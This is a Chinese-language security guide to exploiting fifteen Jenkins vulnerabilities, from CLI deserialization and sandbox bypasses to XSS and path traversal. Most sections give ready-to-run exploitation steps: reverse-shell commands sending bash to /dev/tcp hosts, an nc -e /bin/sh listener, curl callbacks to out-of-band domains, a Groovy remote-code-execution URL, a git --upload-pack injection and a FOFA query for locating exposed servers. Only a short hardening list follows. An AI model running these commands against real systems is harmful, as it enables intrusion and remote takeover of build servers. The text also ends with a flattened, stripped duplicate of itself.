安全研究 | Jenkins漏洞分析
字数 2593 2025-08-15 21:31:23

Jenkins漏洞分析与利用全面指南

1. Jenkins简介

Jenkins是基于Java开发的开源软件项目,主要用于持续集成(CI)、项目管理等。主要功能包括:

  • 持续的软件版本发布/测试项目
  • 监控外部调用执行的工作

2. 服务探测与发现

使用FOFA搜索引擎可发现Jenkins服务:

app="Jenkins"

3. 主要漏洞分析

3.1 CVE-2017-1000353 - Jenkins-CI远程代码执行

漏洞描述
Jenkins未授权远程代码执行漏洞,允许攻击者传输序列化的Java SignedObject对象给Jenkins CLI处理,绕过基于黑名单的保护机制,导致代码执行。

影响版本

  • 所有Jenkins主版本(包括<=2.56)
  • 所有Jenkins LTS版本(包括<=2.46.1)

利用步骤

  1. 生成序列化字符串:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
  1. 发送数据包执行命令:
python3 exploit.py http://target-ip:8080 jenkins_poc.ser
  1. 反弹shell:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "/bin/bash -i > /dev/tcp/vps_ip/12345 0<&1 2>&1"

3.2 CVE-2018-1000861 - Jenkins远程代码执行

漏洞描述
Jenkins使用Stapler框架开发,允许通过URL PATH调用public方法,由于缺乏限制,可构造特殊PATH执行敏感Java方法。

影响版本

  • Jenkins <= 2.56
  • Jenkins LTS <= 2.46.1

利用方法

  1. 测试漏洞存在:
http://target:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}
  1. 反弹shell完整流程:
  • 创建反弹shell脚本
  • 通过curl下载脚本
  • 赋予执行权限
  • 执行脚本

3.3 CVE-2019-1003000 - 沙箱绕过RCE

漏洞描述
Declarative Plugin、Groovy Plugin和Script Security Plugin的漏洞,允许绕过沙箱保护执行任意代码。

影响版本

  • Declarative Plugin < 1.3.4.1
  • Groovy Plugin < 2.61.1
  • Script Security Plugin < 1.50

利用方法

python2 exploit.py --url http://target:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/X.X.X.X/12345 0>&1"

3.4 CVE-2015-8103 - Jenkins CLI反序列化

漏洞描述
Jenkins CLI子系统允许通过精心构造的序列化Java对象执行代码。

影响版本

  • Jenkins <= 1.637
  • Jenkins LTS <= 1.625.1

利用方法

python2 poc.py http://target:8080/

3.5 CVE-2016-0788 - Remoting模块RCE

漏洞描述
Remoting模块中存在安全漏洞,可通过JRMP监听程序执行任意代码。

影响版本
多个Jenkins CI版本受影响

利用方法

java -jar ysoserial.jar CommonsCollections3 "curl http://uxplno.ceye.io/ttaallee" > payload.bin
python2 jenkins.py target-ip 8080 payload.bin

3.6 CVE-2016-0792 - XStream反序列化

漏洞描述
低权限用户可通过构造恶意XML文档调用API执行外部命令。

影响版本
Jenkins < 1.650

利用方法

exploit('http://target/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')

3.7 CVE-2019-1003005 - 沙箱绕过RCE

漏洞描述
Script Security Plugin中的沙箱绕过漏洞,允许执行任意代码。

影响版本
多个Jenkins版本和Script Security Plugin版本受影响

利用方法

python2 exp.py http://target:8080/ "curl http://uxplno.ceye.io/`whoami`"

3.8 CVE-2019-10392 - Git客户端插件RCE

漏洞描述
Git客户端插件接受用户指定值作为git ls-remote参数,可导致命令执行。

影响版本
Git client Plugin <= 2.8.4

利用方法
在流水线任务git仓库地址处输入:

--upload-pack="`ls`"

3.9 CVE-2016-9299 - LDAP反序列化

描述
远程处理模块允许通过序列化Java对象触发LDAP查询执行代码。

影响版本

  • LTS < 2.19.3
  • Weekly < 2.32

利用方法
使用Metasploit模块:

use exploit/linux/misc/jenkins_ldap_deserialize

3.10 未授权访问导致RCE

描述
通过"脚本命令行"功能执行系统命令。

利用方法

println "whoami".execute().text

3.11 CVE-2019-10475 - 反射型XSS

描述
build-metrics插件未正确转义标签查询参数。

影响版本
build-metrics <= 1.3

Payload

/plugin/build-metrics/getBuildStats?label=<script>alert("XSS")</script>

3.12 CVE-2018-1000110 - 用户枚举

描述
Git Plugin中的GitStatus.java存在漏洞,可获取节点和用户列表。

影响版本
Git Plugin <= 3.7.0

利用方法

http://target:8080/search/?q=a
http://target:8080/git/search/?q=a

3.13 CVE-2019-10352 - 路径遍历任意文件写入

描述
FileParameterValue.java存在路径遍历漏洞。

影响版本

  • Jenkins <= 2.185
  • LTS <= 2.176.1

利用方法
通过文件参数上传功能写入任意位置。

3.14 CVE-2019-10300 - GitLab插件CSRF

描述
GitLabConnectionConfig#doTestConnection存在CSRF漏洞。

影响版本
GitLab Plugin <= 1.5.11

利用方法
构造恶意请求测试连接。

3.15 CVE-2018-1999002 - 任意文件读取

描述
Stapler Web框架中存在任意文件读取漏洞。

影响版本

  • Weekly <= 2.132
  • LTS <= 2.121.1

利用方法
Windows下读取文件:

GET /plugin/credentials/.ini HTTP/1.1

4. 漏洞检测工具

  1. Vulhub - 一键搭建漏洞测试靶场
  2. ysoserial - 生成反序列化payload
  3. Metasploit - 包含多个Jenkins漏洞利用模块
  4. CVE-2018-1999002检测工具:
python cve-2018-1999002.py

5. 防护建议

  1. 及时更新Jenkins及插件到最新版本
  2. 禁用匿名访问或严格控制权限
  3. 限制网络访问,仅允许可信IP访问
  4. 监控可疑的CLI请求
  5. 定期审计系统日志和用户活动
  6. 使用Web应用防火墙(WAF)防护常见攻击

6. 参考资料

  1. https://xz.aliyun.com/t/2486
  2. http://www.hackdig.com/03/hack-76839.htm
  3. https://blog.csdn.net/Fly_hps/article/details/82421504
  4. 各CVE官方描述和漏洞公告
Jenkins漏洞分析与利用全面指南 1. Jenkins简介 Jenkins是基于Java开发的开源软件项目,主要用于持续集成(CI)、项目管理等。主要功能包括: 持续的软件版本发布/测试项目 监控外部调用执行的工作 2. 服务探测与发现 使用FOFA搜索引擎可发现Jenkins服务: 3. 主要漏洞分析 3.1 CVE-2017-1000353 - Jenkins-CI远程代码执行 漏洞描述 : Jenkins未授权远程代码执行漏洞,允许攻击者传输序列化的Java SignedObject对象给Jenkins CLI处理,绕过基于黑名单的保护机制,导致代码执行。 影响版本 : 所有Jenkins主版本(包括 <=2.56) 所有Jenkins LTS版本(包括 <=2.46.1) 利用步骤 : 生成序列化字符串: 发送数据包执行命令: 反弹shell: 3.2 CVE-2018-1000861 - Jenkins远程代码执行 漏洞描述 : Jenkins使用Stapler框架开发,允许通过URL PATH调用public方法,由于缺乏限制,可构造特殊PATH执行敏感Java方法。 影响版本 : Jenkins <= 2.56 Jenkins LTS <= 2.46.1 利用方法 : 测试漏洞存在: 反弹shell完整流程: 创建反弹shell脚本 通过curl下载脚本 赋予执行权限 执行脚本 3.3 CVE-2019-1003000 - 沙箱绕过RCE 漏洞描述 : Declarative Plugin、Groovy Plugin和Script Security Plugin的漏洞,允许绕过沙箱保护执行任意代码。 影响版本 : Declarative Plugin < 1.3.4.1 Groovy Plugin < 2.61.1 Script Security Plugin < 1.50 利用方法 : 3.4 CVE-2015-8103 - Jenkins CLI反序列化 漏洞描述 : Jenkins CLI子系统允许通过精心构造的序列化Java对象执行代码。 影响版本 : Jenkins <= 1.637 Jenkins LTS <= 1.625.1 利用方法 : 3.5 CVE-2016-0788 - Remoting模块RCE 漏洞描述 : Remoting模块中存在安全漏洞,可通过JRMP监听程序执行任意代码。 影响版本 : 多个Jenkins CI版本受影响 利用方法 : 3.6 CVE-2016-0792 - XStream反序列化 漏洞描述 : 低权限用户可通过构造恶意XML文档调用API执行外部命令。 影响版本 : Jenkins < 1.650 利用方法 : 3.7 CVE-2019-1003005 - 沙箱绕过RCE 漏洞描述 : Script Security Plugin中的沙箱绕过漏洞,允许执行任意代码。 影响版本 : 多个Jenkins版本和Script Security Plugin版本受影响 利用方法 : 3.8 CVE-2019-10392 - Git客户端插件RCE 漏洞描述 : Git客户端插件接受用户指定值作为git ls-remote参数,可导致命令执行。 影响版本 : Git client Plugin <= 2.8.4 利用方法 : 在流水线任务git仓库地址处输入: 3.9 CVE-2016-9299 - LDAP反序列化 描述 : 远程处理模块允许通过序列化Java对象触发LDAP查询执行代码。 影响版本 : LTS < 2.19.3 Weekly < 2.32 利用方法 : 使用Metasploit模块: 3.10 未授权访问导致RCE 描述 : 通过"脚本命令行"功能执行系统命令。 利用方法 : 3.11 CVE-2019-10475 - 反射型XSS 描述 : build-metrics插件未正确转义标签查询参数。 影响版本 : build-metrics <= 1.3 Payload : 3.12 CVE-2018-1000110 - 用户枚举 描述 : Git Plugin中的GitStatus.java存在漏洞,可获取节点和用户列表。 影响版本 : Git Plugin <= 3.7.0 利用方法 : 3.13 CVE-2019-10352 - 路径遍历任意文件写入 描述 : FileParameterValue.java存在路径遍历漏洞。 影响版本 : Jenkins <= 2.185 LTS <= 2.176.1 利用方法 : 通过文件参数上传功能写入任意位置。 3.14 CVE-2019-10300 - GitLab插件CSRF 描述 : GitLabConnectionConfig#doTestConnection存在CSRF漏洞。 影响版本 : GitLab Plugin <= 1.5.11 利用方法 : 构造恶意请求测试连接。 3.15 CVE-2018-1999002 - 任意文件读取 描述 : Stapler Web框架中存在任意文件读取漏洞。 影响版本 : Weekly <= 2.132 LTS <= 2.121.1 利用方法 : Windows下读取文件: 4. 漏洞检测工具 Vulhub - 一键搭建漏洞测试靶场 ysoserial - 生成反序列化payload Metasploit - 包含多个Jenkins漏洞利用模块 CVE-2018-1999002检测工具: 5. 防护建议 及时更新Jenkins及插件到最新版本 禁用匿名访问或严格控制权限 限制网络访问,仅允许可信IP访问 监控可疑的CLI请求 定期审计系统日志和用户活动 使用Web应用防火墙(WAF)防护常见攻击 6. 参考资料 https://xz.aliyun.com/t/2486 http://www.hackdig.com/03/hack-76839.htm https://blog.csdn.net/Fly_ hps/article/details/82421504 各CVE官方描述和漏洞公告